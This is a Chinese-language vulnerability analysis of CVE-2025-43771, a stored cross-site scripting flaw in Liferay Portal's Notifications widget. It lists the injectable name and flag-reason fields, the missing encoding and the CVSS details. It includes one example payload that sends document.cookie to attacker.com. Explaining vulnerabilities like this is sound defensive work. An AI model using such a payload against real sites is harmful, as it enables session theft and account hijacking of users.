CVE-2025-43771CVE-2025-43771是存在于Liferay Portal和Liferay DXP产品通知组件(Notifications widget)中的多个跨站脚本(XSS)漏洞。该漏洞由[email protected]报告,于2025年10月8日公开披露,CVSS 3.1评分为5.4分,属于中危级别。Liferay Portal是企业级开源门户和数字体验平台(DXP)解决方案,广泛用于构建企业网站、门户和内容管理系统。其通知组件用于在平台内向用户展示系统通知、消息提醒和内容标记信息。
该漏洞的核心问题在于通知组件在渲染用户输入内容时,未对多个文本字段进行充分的输出编码和过滤,导致恶意用户可以在特定字段中注入任意HTML或JavaScript代码。当其他用户查看通知时,恶意脚本将在受害者浏览器中执行。攻击者可以利用此漏洞窃取用户会话Cookie、进行钓鱼攻击、劫持用户账户,或在受害者上下文中执行未授权操作。由于该漏洞需要低权限认证(PR:L)且需要用户交互(UI:R),属于存储型XSS攻击模式,攻击者需要先拥有平台账户才能利用此漏洞。
该漏洞属于存储型跨站脚本(Stored XSS)攻击,存在于Liferay Portal的通知组件中。其技术原理如下:
1. **输入点识别**:通知组件在处理用户数据时,从以下五个字段读取用户输入内容:(1) 用户的"First Name"(名)字段;(2) 用户的"Middle Name"(中间名)字段;(3) 用户的"Last Name"(姓)字段;(4) 内容标记时的"Other Reason"(其他原因)字段;(5) 被标记内容的名称字段。
2. **过滤缺失**:Liferay通知组件在将这些字段的内容嵌入到通知的HTML输出中时,未对特殊字符(如<、>、"、'、&等)进行HTML实体编码,也未实施有效的输入验证和白名单过滤机制。攻击者可以提交包含恶意JavaScript代码的输入,例如:`<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`。
3. **存储与触发**:恶意输入被存储到数据库中,当目标用户通过通知组件查看相关通知时,浏览器解析包含恶意脚本的HTML内容并执行。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),需要用户交互(UI:R),作用域发生变化(S:C)。
4. **影响范围**:由于通知组件可能被多个用户查看,单个恶意输入可能影响大量用户。机密性影响为低(C:L),完整性影响为低(I:L),可用性影响为无(A:N)。